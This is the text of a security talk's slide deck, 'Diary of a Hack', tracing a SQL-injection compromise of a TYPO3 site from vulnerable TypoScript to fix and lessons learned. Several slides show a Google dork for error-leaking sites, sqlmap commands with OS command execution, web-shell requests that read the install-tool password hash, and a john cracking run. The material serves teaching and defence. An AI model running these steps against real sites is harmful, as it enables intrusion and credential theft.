Slide 1

Slide 1 text

Inspiring people to share Diary of a Hack Vulnerabilities and Attacks Diary of a Hack Helmut Hummel 22.04.2016 Vulnerabilities and Exploits 1

Slide 2

Slide 2 text

2 @helhum

Slide 3

Slide 3 text

Security 3

Slide 4

Slide 4 text

4 http://typotic.com/uploads/posts/3427/funny-dude-this-is-boring-01.jpg

Slide 5

Slide 5 text

5 http://www.pxleyes.com/images/contests/teddy-bears-2/fullsize/Story-time-507bf54d589a1_hires.jpg

Slide 6

Slide 6 text

6 http://www.value-scope.com/wp-content/uploads/bug_vs_feature.gif

Slide 7

Slide 7 text

7 http://www.value-scope.com/wp-content/uploads/bug_vs_feature.gif

Slide 8

Slide 8 text

8 http://i.telegraph.co.uk/multimedia/archive/02210/squirrel_2210134b.jpg

Slide 9

Slide 9 text

9 https://xkcd.com/327/

Slide 10

Slide 10 text

10 http://www.kitploit.com/2013/06/john-ripper-v180-fast-password-cracker.html

Slide 11

Slide 11 text

11 https://ilifejourney.files.wordpress.com/2011/11/spaghetti-mess.jpg

Slide 12

Slide 12 text

12 http://img3.wikia.nocookie.net/__cb20121122132016/villains/images/f/fb/Janitor_2.jpg

Slide 13

Slide 13 text

13 http://i.livescience.com/images/i/000/029/390/i02/shutterstock_105432542.jpg?1343404330

Slide 14

Slide 14 text

14

Slide 15

Slide 15 text

Diary of a Hack 15

Slide 16

Slide 16 text

Diary of a Hack Day 1 - Implementing a feature 16

Slide 17

Slide 17 text

Diary of a Hack 17 lib.sqliSimple = CONTENT
 lib.sqliSimple {
 table = tt_content
 select.where.wrap = colPos=|
 select.where.data = GP:colPos
 }

Slide 18

Slide 18 text

Diary of a Hack 18 lib.sqliSearch = CONTENT
 lib.sqliSearch {
 table = tt_content
 select.where.wrap = header like '%|%'
 select.where.data = GP:search
 }

Slide 19

Slide 19 text

Diary of a Hack Day 2 - Testing the feature 19

Slide 20

Slide 20 text

Diary of a Hack 20

Slide 21

Slide 21 text

Diary of a Hack 21 'BE/debug' => '1' 'FE/debug' => '1' 'SYS/devIPmask' => '*' 'SYS/displayErrors' => '1' 'SYS/sqlDebug' => '1' 'SYS/exceptionalErrors' => '28674'

Slide 22

Slide 22 text

Diary of a Hack 22

Slide 23

Slide 23 text

Diary of a Hack 23 'DB/username' => 'root'

Slide 24

Slide 24 text

Diary of a Hack 24

Slide 25

Slide 25 text

Diary of a Hack Day 3 - Distraction 25

Slide 26

Slide 26 text

Diary of a Hack 26

Slide 27

Slide 27 text

Diary of a Hack Day 4 - Attraction 27

Slide 28

Slide 28 text

Diary of a Hack 28 https://www.google.de/?q=exec_SELECTquery+%22You +have+an+error+in+your+SQL+syntax%22

Slide 29

Slide 29 text

Diary of a Hack Day 5 - Exploitation 29

Slide 30

Slide 30 text

Inspiring people to share Diary of a Hack Vulnerabilities and Attacks Excursion - SQLi 30

Slide 31

Slide 31 text

Excursion - SQLi 31 SELECT * FROM tt_content WHERE colPos = 0

Slide 32

Slide 32 text

32 'SELECT * FROM tt_content WHERE colPos = ' . $_GET['colPos'] Excursion - SQLi

Slide 33

Slide 33 text

33 Excursion - SQLi

Slide 34

Slide 34 text

34 'SELECT * FROM tt_content WHERE colPos = ' . $_GET['colPos'] Excursion - SQLi

Slide 35

Slide 35 text

35 'SELECT * FROM tt_content WHERE colPos = 0 or hidden = 1' $_GET['colPos'] Excursion - SQLi

Slide 36

Slide 36 text

Disclaimer 36

Slide 37

Slide 37 text

Don’t do this at home! 37

Slide 38

Slide 38 text

(unless you have written permit) 38

Slide 39

Slide 39 text

Diary of a Hack 39 $ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos' ! GET parameter 'colPos' is vulnerable. Do you want to keep testing the others? [y/N] sqlmap identified the following injection points with a total of 30 HTTP(s) requests:

Slide 40

Slide 40 text

Inspiring people to share Diary of a Hack Vulnerabilities and Attacks The power of MySQL 40

Slide 41

Slide 41 text

Diary of a Hack 41 $ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos' \ —os-cmd='ls -al'

Slide 42

Slide 42 text

Diary of a Hack 42

Slide 43

Slide 43 text

Diary of a Hack 43 http://security.dev/tmpbrsru.php?cmd=touch%20typo3conf/ ENABLE_INSTALL_TOOL ! http://security.dev/typo3/sysext/install/Start/Install.php ! http://security.dev/tmpbrsru.php?cmd=grep%20installToolPassword %20typo3conf/LocalConfiguration.php

Slide 44

Slide 44 text

Diary of a Hack 44 $ john pw Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x5]) password (dummy) guesses: 1 time: 0:00:00:01 DONE (Thu Jun 4 11:00:44 2015) c/s: 900 trying: 123456 - fishing

Slide 45

Slide 45 text

Diary of a Hack 45

Slide 46

Slide 46 text

Diary of a Hack Day 5 - Discovery 46

Slide 47

Slide 47 text

Diary of a Hack Discovery • Take site offline! • seriously • I mean it 47

Slide 48

Slide 48 text

48

Slide 49

Slide 49 text

Diary of a Hack Day 6 - Analysis 49

Slide 50

Slide 50 text

Diary of a Hack Analysis • Make a backup of current state (files, DB, logs) • Search all logs for „suspicious“ entries • Find point of entry (security issue) • If in doubt: get help 50

Slide 51

Slide 51 text

Diary of a Hack Day 7 - Fix 51

Slide 52

Slide 52 text

Diary of a Hack 52 lib.sqliSimple = CONTENT
 lib.sqliSimple {
 table = tt_content
 select.where = colPos=###colPos###
 select.markers {
 colPos.data = GP:colPos
 }
 }

Slide 53

Slide 53 text

Diary of a Hack 53 lib.sqliSearch = CONTENT
 lib.sqliSearch {
 table = tt_content
 select.where = header like ###search###
 select.markers {
 search.data = GP:search
 search.wrap = %|%
 }
 }

Slide 54

Slide 54 text

Diary of a Hack Fix • Close security issue in Code/ Extension/ Core • Restore from backup • Or if you really know what you are doing: cleanup installation • Go online again • Plan improvements (education, monitoring, …) 54

Slide 55

Slide 55 text

Diary of a Hack Day 8 - Improve 55

Slide 56

Slide 56 text

Inspiring people to share Security of Web Applications Vulnerabilities and Attacks Topictext Lessons learned • Development/ Testing Environment • Deploy to Production • Least privilege • There is no Software without bugs. Be prepared! 56

Slide 57

Slide 57 text

Diary of a Hack Best Practice • Operations • Regular updates • Backups • Monitoring • Development • Peer Reviews (TypoScript, Code, Templates) • (automated) Tests • Focus • Education • Allocate time for all of the above 57

Slide 58

Slide 58 text

Questions? 58

Slide 59

Slide 59 text

Inspiring people to share Security of Web Applications Vulnerabilities and Attacks Diary of a Hack Resources • http://docs.typo3.org/typo3cms/SecurityGuide/ • http://sqlmap.org • http://www.openwall.com/john/ • https://www.owasp.org/ 59

Slide 60

Slide 60 text

Thank you! 60

Slide 61

Slide 61 text

61 @helhum http://helhum.io [email protected]